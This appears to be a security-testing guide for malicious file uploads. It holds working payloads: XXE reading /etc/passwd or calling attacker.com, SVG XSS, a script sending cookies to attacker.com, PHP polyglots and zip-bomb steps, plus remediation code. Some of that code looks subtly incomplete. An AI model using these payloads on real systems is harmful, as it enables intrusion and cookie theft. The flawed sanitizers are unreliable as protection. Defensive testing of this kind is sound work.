wstg-busl-09

Test Upload of Malicious Files

SKILL.md

GitHub

wstg-busl-09

Test ID

WSTG-BUSL-09

Test Name

Test Upload of Malicious Files

High-Level Description

This test examines whether the application properly scans and rejects files containing malicious content such as malware, exploits, or embedded scripts. Even if file type validation is in place, malicious content within allowed file types (e.g., macro-enabled Office documents, PDFs with JavaScript, images with embedded payloads) can pose significant risks to users who download these files or systems that process them.


What to Check

Malicious Content Types

  • Malware/virus detection
  • Office macros
  • PDF JavaScript
  • Image-based exploits
  • Archive bombs (zip bombs)
  • Embedded scripts in allowed formats
  • XXE in XML-based files

Common Attack Vectors

File Type Attack Vector
DOCX/XLSX Macros, OLE objects
PDF JavaScript, embedded files
SVG JavaScript, XSS
XML XXE, XSS
ZIP Path traversal, zip bombs
Images Steganography, polyglots

How to Test

Step 1: Test Malware Detection

# Use EICAR test file (industry standard test file, NOT actual malware)
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > eicar.txt

curl -s -X POST "https://target.com/api/upload" \
    -H "Authorization: Bearer $TOKEN" \
    -F "file=@eicar.txt"

# Also test with .com extension
mv eicar.txt eicar.com
curl -s -X POST "https://target.com/api/upload" \
    -H "Authorization: Bearer $TOKEN" \
    -F "file=@eicar.com"

Step 2: Test Office Macro Documents

# Create document with macro (requires Office/LibreOffice)
# Or use pre-made macro-enabled documents

# Test DOCM (macro-enabled Word)
curl -s -X POST "https://target.com/api/upload" \
    -H "Authorization: Bearer $TOKEN" \
    -F "file=@document_with_macro.docm"

# Test XLSM (macro-enabled Excel)
curl -s -X POST "https://target.com/api/upload" \
    -H "Authorization: Bearer $TOKEN" \
    -F "file=@spreadsheet_with_macro.xlsm"

# Test renamed extensions (docm as doc)
cp document_with_macro.docm document.doc
curl -s -X POST "https://target.com/api/upload" \
    -H "Authorization: Bearer $TOKEN" \
    -F "file=@document.doc"

Step 3: Test PDF with JavaScript

#!/usr/bin/env python3
# Generate PDF with JavaScript

from reportlab.pdfgen import canvas
from reportlab.lib.pagesizes import letter
from PyPDF2 import PdfWriter, PdfReader

def create_js_pdf(output_file, js_code):
    """Create PDF with embedded JavaScript"""

    # Create basic PDF
    c = canvas.Canvas("temp.pdf", pagesize=letter)
    c.drawString(100, 750, "Test Document")
    c.save()

    # Add JavaScript
    reader = PdfReader("temp.pdf")
    writer = PdfWriter()

    for page in reader.pages:
        writer.add_page(page)

    # Add JavaScript action
    js = f"""
    /S /JavaScript
    /JS ({js_code})
    """

    # This requires manual PDF manipulation or tools like pdftk
    # For testing, use pre-made PDFs with JS

    with open(output_file, "wb") as f:
        writer.write(f)

# Alternative: Use existing test PDFs
# Download from security testing resources
# Test PDF with JavaScript
curl -s -X POST "https://target.com/api/upload" \
    -H "Authorization: Bearer $TOKEN" \
    -F "file=@pdf_with_javascript.pdf"

Step 4: Test SVG with XSS

# Create malicious SVG
cat > malicious.svg << 'EOF'
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
  <script type="text/javascript">
    alert('XSS');
  </script>
</svg>
EOF

# Upload
curl -s -X POST "https://target.com/api/upload" \
    -H "Authorization: Bearer $TOKEN" \
    -F "file=@malicious.svg"

# Check if served with proper Content-Type
curl -s -I "https://target.com/uploads/malicious.svg"

Step 5: Test XML with XXE

# Create XXE payload
cat > xxe.xml << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<foo>&xxe;</foo>
EOF

curl -s -X POST "https://target.com/api/upload" \
    -H "Authorization: Bearer $TOKEN" \
    -F "file=@xxe.xml"

# Test in document formats that use XML (DOCX, XLSX, etc.)
# DOCX is a ZIP with XML files inside
unzip -q document.docx -d doc_extracted
# Modify XML files to include XXE
# Rezip and upload

Step 6: Test Archive Bombs

# Create zip bomb (be careful - this can crash systems)
# Small version for testing:

# Create a file with repeated content
dd if=/dev/zero of=zeros.txt bs=1M count=10

# Compress with maximum compression
zip -9 bomb.zip zeros.txt

# Nested compression (zip of zips)
for i in {1..5}; do
    cp bomb.zip "layer$i.zip"
    zip -9 "bomb_layer$i.zip" "layer$i.zip"
    mv "bomb_layer$i.zip" bomb.zip
done

# Upload
curl -s -X POST "https://target.com/api/upload" \
    -H "Authorization: Bearer $TOKEN" \
    -F "file=@bomb.zip"

Step 7: Test Image with Embedded Payloads

# Create image with embedded PHP (polyglot)
# Start with valid GIF
echo -n 'GIF89a' > polyglot.gif.php
echo '<?php echo "test"; ?>' >> polyglot.gif.php

# Or use JPEG comment to embed code
# Using exiftool
exiftool -Comment='<?php echo "test"; ?>' image.jpg

# Upload
curl -s -X POST "https://target.com/api/upload" \
    -H "Authorization: Bearer $TOKEN" \
    -F "file=@image.jpg"

# Check EXIF metadata for malicious content
curl -s -X POST "https://target.com/api/upload" \
    -H "Authorization: Bearer $TOKEN" \
    -F "file=@image_with_xss_in_exif.jpg"

Tools

Malware Testing

Tool Description Usage
EICAR Antivirus test file Standard detection test
ClamAV Open source antivirus Server-side scanning
VirusTotal API Multi-engine scanning Integration

Payload Generation

Tool Description
msfvenom Metasploit payloads
Office-DDE-Payloads Office exploits
PDF-parser PDF analysis

Example Commands/Payloads

Malicious File Payloads

<!-- SVG XSS -->
<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')">
  <circle cx="50" cy="50" r="40"/>
</svg>

<!-- XXE in XML -->
<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>

<!-- XXE in DOCX (word/document.xml) -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.com/collect">]>

Malicious File Upload Tester

#!/usr/bin/env python3
import requests
import tempfile
import os

class MaliciousFileTester:
    def __init__(self, upload_url, token):
        self.url = upload_url
        self.headers = {"Authorization": f"Bearer {token}"}
        self.results = []

    def test_eicar(self):
        """Test EICAR antivirus test file"""
        eicar = b'X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'

        for ext in ['txt', 'com', 'exe', 'zip']:
            files = {'file': (f'eicar.{ext}', eicar, 'application/octet-stream')}
            response = requests.post(self.url, headers=self.headers, files=files)

            self.results.append({
                "test": f"EICAR .{ext}",
                "status": response.status_code,
                "blocked": response.status_code not in [200, 201],
                "response": response.text[:200]
            })

    def test_svg_xss(self):
        """Test SVG with JavaScript"""
        svg_payloads = [
            b'<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"></svg>',
            b'<svg><script>alert(1)</script></svg>',
            b'<svg xmlns="http://www.w3.org/2000/svg"><foreignObject><script>alert(1)</script></foreignObject></svg>',
        ]

        for i, payload in enumerate(svg_payloads):
            files = {'file': (f'test{i}.svg', payload, 'image/svg+xml')}
            response = requests.post(self.url, headers=self.headers, files=files)

            self.results.append({
                "test": f"SVG XSS #{i+1}",
                "status": response.status_code,
                "blocked": response.status_code not in [200, 201]
            })

    def test_xxe(self):
        """Test XML with XXE"""
        xxe_payloads = [
            b'''<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>''',
            b'''<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.com/xxe">]><foo>&xxe;</foo>''',
        ]

        for i, payload in enumerate(xxe_payloads):
            files = {'file': (f'test{i}.xml', payload, 'application/xml')}
            response = requests.post(self.url, headers=self.headers, files=files)

            self.results.append({
                "test": f"XXE #{i+1}",
                "status": response.status_code,
                "blocked": response.status_code not in [200, 201]
            })

    def test_polyglot(self):
        """Test image polyglot files"""
        # GIF header + PHP
        gif_php = b'GIF89a<?php echo "test"; ?>'

        # JPEG with PHP in comment
        # Simplified - real test would need proper JPEG structure
        jpg_php = b'\xFF\xD8\xFF\xE0<?php echo "test"; ?>'

        polyglots = [
            (gif_php, 'polyglot.gif', 'image/gif'),
            (gif_php, 'polyglot.gif.php', 'image/gif'),
            (jpg_php, 'polyglot.jpg', 'image/jpeg'),
        ]

        for content, filename, mime in polyglots:
            files = {'file': (filename, content, mime)}
            response = requests.post(self.url, headers=self.headers, files=files)

            self.results.append({
                "test": f"Polyglot: {filename}",
                "status": response.status_code,
                "blocked": response.status_code not in [200, 201]
            })

    def test_html_as_image(self):
        """Test HTML disguised as image"""
        html_content = b'''
<!DOCTYPE html>
<html>
<body>
<script>document.location='http://attacker.com/?c='+document.cookie</script>
</body>
</html>
'''

        extensions = ['jpg', 'png', 'gif', 'html.jpg']
        mimes = ['image/jpeg', 'image/png', 'text/html']

        for ext in extensions:
            for mime in mimes:
                files = {'file': (f'test.{ext}', html_content, mime)}
                response = requests.post(self.url, headers=self.headers, files=files)

                self.results.append({
                    "test": f"HTML as .{ext} (MIME: {mime})",
                    "status": response.status_code,
                    "blocked": response.status_code not in [200, 201]
                })

    def generate_report(self):
        """Generate test report"""
        print("\n=== MALICIOUS FILE UPLOAD REPORT ===\n")

        blocked = [r for r in self.results if r.get("blocked")]
        accepted = [r for r in self.results if not r.get("blocked")]

        print(f"Total tests: {len(self.results)}")
        print(f"Blocked (good): {len(blocked)}")
        print(f"Accepted (potential vulnerability): {len(accepted)}")

        if accepted:
            print("\n--- POTENTIAL VULNERABILITIES ---")
            for r in accepted:
                print(f"  [ACCEPTED] {r['test']}: Status {r['status']}")

        print("\n--- BLOCKED ---")
        for r in blocked:
            print(f"  [BLOCKED] {r['test']}")

# Usage
tester = MaliciousFileTester("https://target.com/api/upload", "auth_token")
tester.test_eicar()
tester.test_svg_xss()
tester.test_xxe()
tester.test_polyglot()
tester.test_html_as_image()
tester.generate_report()

Remediation Guide

1. Implement Antivirus Scanning

import clamd

def scan_file_for_malware(file_path):
    """Scan file using ClamAV"""
    try:
        cd = clamd.ClamdUnixSocket()

        result = cd.scan(file_path)

        if result and file_path in result:
            status, virus_name = result[file_path]
            if status == 'FOUND':
                return False, f"Malware detected: {virus_name}"

        return True, None

    except clamd.ConnectionError:
        # Fail closed - reject if scanner unavailable
        return False, "Antivirus scanner unavailable"

@app.route('/api/upload', methods=['POST'])
def upload():
    file = request.files['file']

    # Save to temp location
    temp_path = save_temp_file(file)

    # Scan for malware
    safe, message = scan_file_for_malware(temp_path)

    if not safe:
        os.remove(temp_path)
        return jsonify({"error": message}), 400

    # Continue with other validations...

2. Sanitize Office Documents

from oletools.olevba import VBA_Parser

def check_office_macros(file_path):
    """Check Office documents for macros"""
    try:
        vbaparser = VBA_Parser(file_path)

        if vbaparser.detect_vba_macros():
            macros = vbaparser.analyze_macros()

            for m in macros:
                if m[0] in ['AutoExec', 'Suspicious']:
                    return False, "Dangerous macro detected"

            return False, "Document contains macros"

        return True, None

    except Exception as e:
        return False, f"Error scanning document: {str(e)}"

def sanitize_office_document(file_path, output_path):
    """Remove macros from Office documents"""
    # Use a library like python-docx to create clean copy
    # Or use LibreOffice in headless mode to convert to clean format
    pass

3. Sanitize SVG Files

from defusedxml import ElementTree as ET
import re

def sanitize_svg(svg_content):
    """Remove dangerous elements from SVG"""

    # Parse with defusedxml (safe from XXE)
    try:
        root = ET.fromstring(svg_content)
    except ET.ParseError:
        return None, "Invalid SVG"

    # Remove script elements
    for script in root.findall('.//{http://www.w3.org/2000/svg}script'):
        script.getparent().remove(script)

    # Remove event handlers
    dangerous_attrs = [
        'onload', 'onclick', 'onerror', 'onmouseover',
        'onfocus', 'onblur', 'onchange', 'onsubmit'
    ]

    for elem in root.iter():
        for attr in dangerous_attrs:
            if attr in elem.attrib:
                del elem.attrib[attr]

    # Remove foreignObject (can contain HTML)
    for fo in root.findall('.//{http://www.w3.org/2000/svg}foreignObject'):
        fo.getparent().remove(fo)

    return ET.tostring(root, encoding='unicode'), None

4. Safe PDF Processing

def sanitize_pdf(input_path, output_path):
    """Remove JavaScript and other dangerous elements from PDF"""
    from PyPDF2 import PdfReader, PdfWriter

    reader = PdfReader(input_path)
    writer = PdfWriter()

    for page in reader.pages:
        # Copy page without annotations/JavaScript
        writer.add_page(page)

    # Remove JavaScript
    if '/JavaScript' in reader.trailer.get('/Root', {}):
        # Don't copy JavaScript actions
        pass

    with open(output_path, 'wb') as f:
        writer.write(f)

5. Serve Uploads Safely

from flask import send_file

@app.route('/uploads/<filename>')
def serve_upload(filename):
    # Validate filename
    safe_filename = secure_filename(filename)

    # Force download instead of inline display
    return send_file(
        os.path.join(UPLOAD_DIR, safe_filename),
        as_attachment=True,  # Force download
        mimetype='application/octet-stream'  # Generic MIME
    )

# Or set CSP headers
@app.after_request
def add_security_headers(response):
    if '/uploads/' in request.path:
        response.headers['Content-Security-Policy'] = "default-src 'none'"
        response.headers['X-Content-Type-Options'] = 'nosniff'
    return response

Risk Assessment

CVSS Score

Finding CVSS Severity
Malware upload accepted 9.8 Critical
Macro-enabled document upload 8.8 High
SVG with JavaScript accepted 7.5 High
XXE via XML upload 8.8 High
Zip bomb accepted 5.3 Medium

CWE Categories

CWE ID Title Description
CWE-434 Unrestricted Upload Dangerous file content
CWE-79 Cross-site Scripting SVG/HTML with JS
CWE-611 XXE XML external entities
CWE-400 Resource Exhaustion Zip bombs

References


Checklist

[ ] EICAR test file upload tested
[ ] Macro-enabled Office documents tested
[ ] PDF with JavaScript tested
[ ] SVG with JavaScript tested
[ ] XML with XXE tested
[ ] Archive bomb tested
[ ] HTML disguised as image tested
[ ] Polyglot files tested
[ ] EXIF metadata exploits tested
[ ] Antivirus scanning implemented
[ ] Content sanitization implemented
[ ] Findings documented
[ ] Remediation recommendations provided